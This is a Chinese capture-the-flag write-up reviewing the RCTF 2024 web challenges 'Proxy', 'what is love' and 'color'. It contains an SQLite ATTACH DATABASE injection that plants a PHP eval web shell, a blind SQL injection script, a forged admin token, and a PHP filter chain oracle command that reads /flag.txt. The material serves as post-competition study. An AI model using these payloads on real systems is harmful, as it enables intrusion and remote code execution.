RCTF2024-web赛后部分复现学习
寒影和寒风萧 发表于 广东 CTF 867浏览 · 2024-05-28 12:43

Proxy

这道题本来我的思路是想着mysql里面写进木马也没办法getshell啊,于是就没有啥思路了,看了一下wp发现可以利用attach DATABASE来打shell。学到了

这里贴源代码出来
Proxy.php

<?php
class Proxy{
    private $ch;
    public $body;

    public function __construct(){
        $this->ch = curl_init() or die(curl_error());
        //curl_setopt($this->ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    }

    public function SendRequest($URL)
    {
        $ret = TRUE;
        if(isset($_SERVER['HTTPS'])){
            if($_SERVER['HTTPS'] == 'off')
            {
                $http = 'http://';
            }
            else {
                $http = 'https://';
            }
        }
        else
        {
            $http = 'http://';
        }
        $http .= $_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'];
        curl_setopt($this->ch, CURLOPT_URL, $http.$URL);
        curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, 1);
        try{
            $this->body = curl_exec($this->ch);
        } catch (Exception $ex) {
            return FALSE;
        }
        return TRUE;
    }
}

index.php

<?php
require('Db.php');
require('Proxy.php');
$BE = $_GET['BE'] ?? 'flag';
$URL = '/'.$BE.'.php';
$ProxyObj = new Proxy();
if($ProxyObj->SendRequest($URL))
{
    $DbObj = new Db();
    $arysql = array();
    $sess = md5($_SERVER['REMOTE_ADDR']);
    $arysql[] = "INSERT OR REPLACE INTO CacheMain VALUES ('".$sess."', ".time().")";
    $arysql[] = "INSERT INTO CacheDetail VALUES ('".$sess."', '".$BE."')";
    $arysql[] = "CREATE TABLE Cache_".$sess."_".$BE." (t TEXT)";
    $arysql[] = "INSERT INTO Cache_".$sess."_".$BE." VALUES('".$ProxyObj->body."')";
    $DbObj->execMultiSQL($arysql);
}

DB.php

<?php
class Db{
    private $dm_handler;

    public function __construct($dm_conn = 'sqlite:data.db'){
        $this->dm_handler = new PDO($dm_conn);
        $this->dm_handler->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    }

    public function execMultiSQL($arysql){
        try{
            $this->dm_handler->beginTransaction();
            foreach($arysql as $asql){
                $this->dm_handler->exec($asql);
            }
            $this->dm_handler->commit();
            return TRUE;
        }
        catch(PDOException $exception) {
            $this->dm_handler->rollBack();
            return FALSE;
        }
    }
}

这里理一下思路就很容易知道是要往mysql里面写东西。
这里写一下attach database的用法
SQLite 的 ATTACH DATABASE 语句的基本语法如下:

ATTACH DATABASE file_name AS database_name;

如果数据库尚未被创建,上面的命令将创建一个数据库,如果数据库已存在,则把数据库文件名称与逻辑数据库 'Alias-Name' 绑定在一起。

打开的数据库和使用 ATTACH附加进来的数据库的必须位于同一文件夹下。
VPS中写入

<?php
echo "a');ATTACH DATABASE '/var/www/html/dt.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval(\$_GET[1]);?>');--";
?>

就是创建一个数据库文件到我们设定的目录下面,然后再把数据写到php中,最后让本地去访问就行

得到flag

what is love

前面一个key1sql注入

import requests
import string
url='http://1.94.13.174:10088/key1'

ascii_word = string.ascii_uppercase + string.ascii_uppercase + string.digits + '_{}'
flag = ''# RCTF{THE_FIRST_STEP_IS_TO_GET_T
key1='\'||love_key regexp \'^'
# for i in range(1, 100):
#     for j in ascii_word:
#         data = {
#             'key1': key1 + flag + j
#         }
#         r = requests.post(url, data=data)
#         # print(r.text)
#         if 'success' in r.text:
#             flag += j
#             print(flag)
#             break

key1 = '\'||love_key regexp \''
flag=''# RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}
for i in range(1, 100):
    for j in ascii_word:
        data = {
            'key1': key1 + j + flag + '$'
        }
        r = requests.post(url, data=data)
        # print(r.text)
        if 'success' in r.text:
            flag = j + flag
            print(flag)
            break

RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW

key2直接一个token伪造即可

hash('{"username":"admin","love_time":null,"have_lovers":true}:NaN') '12b579bba999dfd754544c3e1f4d05c0b97eff28d19e19cab883adbc9138a2c6'

love_token=eyJ1c2VybmFtZSI6ImFkbWluIiwibG92ZV90aW1lIjpudWxsLCJoYXZlX2xvdmVycyI6dHJ1ZX0=.12b579bba999dfd754544c3e1f4d05c0b97eff28d19e19cab883adbc9138a2c6

your key2 is _AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}

拼接即可

color

这里的js混淆整的我头疼
工具: https://github.com/cilame/v_jstools
antiVarNameConfusion
解出来主要看加解密部分.

可以看到这里已经给出了key了。
有了key之后就可以写脚本跑游戏了
这里用的SU师傅的脚本

from Crypto.Cipher import AES  
from Crypto.Util.Padding import pad, unpad  
import base64  
import requests  
import json  


def encrypt_data(data, key, iv):  
    cipher = AES.new(key, AES.MODE_CBC, iv)  
    encrypted_data = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))  
    return base64.b64encode(encrypted_data).decode('utf-8')  


def decrypt_data(encrypted_data, key, iv):  
    cipher = AES.new(key, AES.MODE_CBC, iv)  
    decrypted_data = unpad(cipher.decrypt(base64.b64decode(encrypted_data)), AES.block_size)  
    return decrypted_data.decode('utf-8')  


def post_data(session, url, data):  
    try:  
        response = session.post(url=url, data=data)  
        response.raise_for_status()  
        return response.text  
    except requests.exceptions.RequestException as e:  
        print(f"Network error occurred: {e}")  
        return None  


def main():  
    key = b'88b4dbc541cd57f2d55398e9be3e61ae'  
    iv = b'41cd57f2d55398e9'  
    url = "http://124.71.164.28:10088/final/game.php"  
    session = requests.Session()  

    for i in range(1, 501):  
        print(i)  
        encrypted_action = encrypt_data("4", key, iv)  
        data1 = {  
            "action": "3wrg4Ich1RsKFUUPmU0vlw==",  
            "rangeNum": encrypted_action  
        }  
        response_text = post_data(session, url, data1)  
        if response_text:  
            parsed_data = json.loads(response_text)  
            pos = decrypt_data(parsed_data["data"], key, iv)  

            encrypted_pos = encrypt_data(pos, key, iv)  
            data2 = {  
                "action": "s03/Zr+K7nTxLc2aiHJQcg==",  
                "pos": encrypted_pos  
            }  
            response_text = post_data(session, url, data2)  
            if response_text:  
                parsed_data = json.loads(response_text)  
                status = decrypt_data(parsed_data["data"], key, iv)  
                print(status)  

    data3 = {  
        "action": "IMYZakV42qGIPRWdg/WfFg=="  
    }  
    response_text = post_data(session, url, data3)  
    if response_text:  
        print(response_text)  


if __name__ == "__main__":  
    main()

解码
得到源码secr3tcolor.zip

侧信道秒了
https://github.com/synacktiv/php_filter_chains_oracle_exploit

改成这样
python3 filters chain oracle_exploit.py --target url/final/game.php --verb POST --parameter 0 --file /flag.txt
最后不知道是不是公共靶机被打穿了,这里一直打不到flag

Reference

https://su-team.cn/passages/2024-05-27-RCTF/
VN WP

0 条评论
某人
表情
可输入 255
目录